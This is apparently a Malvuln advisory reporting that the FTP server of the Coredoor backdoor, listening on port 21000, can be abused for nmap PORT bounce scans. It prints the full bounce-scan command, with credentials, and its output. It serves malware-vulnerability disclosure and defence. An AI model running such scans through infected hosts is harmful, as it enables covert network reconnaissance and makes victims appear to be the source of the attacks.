Backdoor.Win32.Coredoor.10.a malware suffers from a man-in-the-middle vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5_B.txt
Contact: [email protected]
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Vuln ID: MVID-2021-0411
Dropped files: CFS.exe
nmap -n -Pn -b malvuln:[email protected]:21000 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-24 22:18 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:[email protected]:21000
Connected:220 c400s FTP Server read...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:18
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:Program Files (x86)Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds
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